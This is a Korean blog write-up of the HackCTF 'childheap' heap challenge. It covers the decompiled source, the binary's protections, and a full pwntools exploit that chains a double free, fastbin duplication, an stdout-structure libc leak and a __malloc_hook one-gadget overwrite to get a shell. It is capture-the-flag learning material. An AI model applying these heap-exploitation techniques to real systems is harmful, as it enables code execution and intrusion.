[hack-ctf] childheap (stdout leak)

sangjun

·

2021. 5. 5. 19:30

반응형

문제 소스

main 함수

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  Init(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = input_number();
      if ( v3 != 1 )
        break;
      Malloc();
    }
    if ( v3 != 2 )
      exit(0);
    Free();
  }
}

malloc 함수

unsigned __int64 Malloc()
{
  int v0; // ebx
  int v2; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 || v2 > 4 )
    exit(1);
  printf("size: ");
  __isoc99_scanf("%d", &v3);
  if ( v3 < 0 || v3 > 128 )
    exit(1);
  v0 = v2;
  ptr[v0] = malloc(v3);
  if ( !ptr[v2] )
    exit(1);
  printf("content: ");
  read(0, ptr[v2], v3);
  return __readfsqword(0x28u) ^ v4;
}

Free 함수

unsigned __int64 Free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 4 )
    exit(1);
  free(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}

보호기법

Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
문제 분석 및 페이로드

1. 출력함수가 없는 상태로 Malloc과 Free만 가능

2. 최대 한번에 5개의 배열을 이용해 malloc이용가능함.

3. malloc이용시에 제한 사항 heap의 사이즈는 0~128사이어야 한다.

4. 출력함수가 없기 때문에 stdout leak을 진행할 것이다.

5. stdout leak을 진행하기 위해서 libc주소 leak을 진행해야 되고 Unsorted bin에 libc주소가 적히는 것을 이용할 것이다.

6. UAF버그와 DFB가 발생한다.

먼제 문제 해결의 핵심은 Chunk안에 FAKE Chunk를 심어 놓고 Double Free Bug를 이용해 Fastbin duplicate하여

원하는 Chunk에 임의의 값을 쓰는 것이다.


노란색 부분의 청크에 FAKE CHUNK를 구성해 놓은 뒤에 Fastbin duplicate를 이용해 이

Fake chunk에 값을 쓴다. --> 초록색 Chunk의 Size를 조작해 Unsorted Bin에 할당한 하여 libc주소를 leak한다.

leak된 주소를 출력하기 위해 stdout 구조체를 바꿔줘야 한다.

main_arena와 stdout은 하위 2.5바이트만 다르기 때문에

stdout근처의 메모리에 힙을 할당한 후에 stdout 구조체 내용을 바꿔주면stdout leak이 가능하다.

ibc주소의 하위 2바이트를 바꿔 0.5바이트 브루트 포스를 진행한다.

 

from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
p=process("./childheap",env={"LD_PRELOAD":"/hack-ctf/childheap/libc.so.6"})
#gdb.attach(p)
#p=remote("ctf.j0n9hyun.xyz",3033)
e=ELF("./childheap")
libc=ELF("./libc.so.6")

def malloc(index,size,data):
    p.sendafter(">",str(1))
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("size: ",str(size))
    p.sendafter("content: ",data)

def free(idx):
    p.sendlineafter(">",str(2))
    p.sendlineafter("index: ",str(idx))
malloc(0,0x40,"AAAA")
malloc(1,0x40,"AAAA")
malloc(2,0x20,p64(0)+p64(0x51))
malloc(3,0x60,"A"*0x20+p64(0)+p64(0xb1))#this point
malloc(4,0x60,"A"*0x10+p64(0)+p64(0x51))
gdb.attach(p)
pause()
free(0)
free(1)
free(0)


free(3) #this point
malloc(0,0x40,chr(0xb0))
malloc(1,0x40,"dummy")
malloc(0,0x40,"dummy")

malloc(0,0x40,"A"*0x10+p64(0)+p64(0x91))
free(3)
free(0)
malloc(0,0x40,"A"*0x10+p64(0)+p64(0x71)+chr(0xdd)+chr(0x55))
malloc(3,0x60,"A")
try:
    fake=p64(0xfbad1800)
    fake+=p64(0)*3+'\x00'
    malloc(3,0x60,"A"*0x33+fake)
except Exception as e:
    os.execl("/usr/bin/python","childheap.py",*sys.argv)
print p.recvuntil('\x7f')
base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-131-libc.sym['_IO_2_1_stdout_']

malloc(0,0x40,"A")
malloc(1,0x40,"A")
free(0)
free(1)
free(0)

malloc(0,0x40,p64(base+libc.sym['__malloc_hook']-0x23))
malloc(1,0x40,"A")
malloc(1,0x40,"A")
malloc(0,0x40,"A"*0x13+p64(base+0xf02a4))

p.sendafter("> ",str(1))
p.sendlineafter("index: ",str(0))
p.sendlineafter("size: ",str(10))

p.interactive()

 

1. 위의 코드에서 32Line에 chr(0xb0)을 해준 이유는 fastbin duplicate를 이용해 fake chunk를 사용하기 위해서

하위 1바이트만 바꿔준 것이다.

 

2. base주소를 구할 때 -131을 해주는 이유는 실제로 stdout+0의 주소가 leak되는 것이 아니라 +-한 값이 leak된다.

디버깅을 이용해 -131이라는 값을 얻어내야 한다.

--> 첫 p.recvuntil('x7f')를 해주는 이유는 첫번째로 stderr의 주소가 leak되기 때문이다.

3. 56LIine에서 malloc hook주소에서 또 0x23만큼 빼주는 이유는 chunk validator check를 bypass하기 위해

chunk size로 fast bins의 최대 크기인 0x7f가 써져있는 주소를 찾아 그 위치에 chunk를 할당해주기 위함이다.

힘들었던 점과 참고문헌

1. stdout leak를 처음 접해봐서 생소했다.

2. 다른 분들의 write up을 이용하면 안되서 youngsouk 이분의 라업을 분석했다. 

youngsouk-hack.tistory.com/99

 

[hackctf] childheap

정훈이형의 도움으로 문제를 풀게 되었다. 시험기간이여서 간단히 정리를 하자면 1. 청크내 가짜 청크를 만들고 아다리를 맞춘다. 2. free된 fastbin 크기의 청크에서 size필드를 수정하고 free를 함으

youngsouk-hack.tistory.com

3. free(3)을 왜 두 번해주는 지와 , fake Chunk아래 또 Fake chunk를 해주는 이유 찾기

--> fake chunk아래에 또 fake chunk를 만들어 주는 이유는 free시에 Security check(fasstop)을 우회하기 위해서이다.

dreamhack.io/learn/2/16#19

 

로그인 | Dreamhack

 

dreamhack.io

 

반응형

'War Games > hack-ctf' 카테고리의 다른 글

[ hackctf ] great binary  (0) 2021.08.02
[hact-ctf] sysrop  (0) 2021.05.12
[hactctf] RTC  (0) 2021.04.19
[hackctf] Unexploitable #1  (0) 2021.04.19
[hackctf] you_are_silver  (0) 2021.04.19

0개의 댓글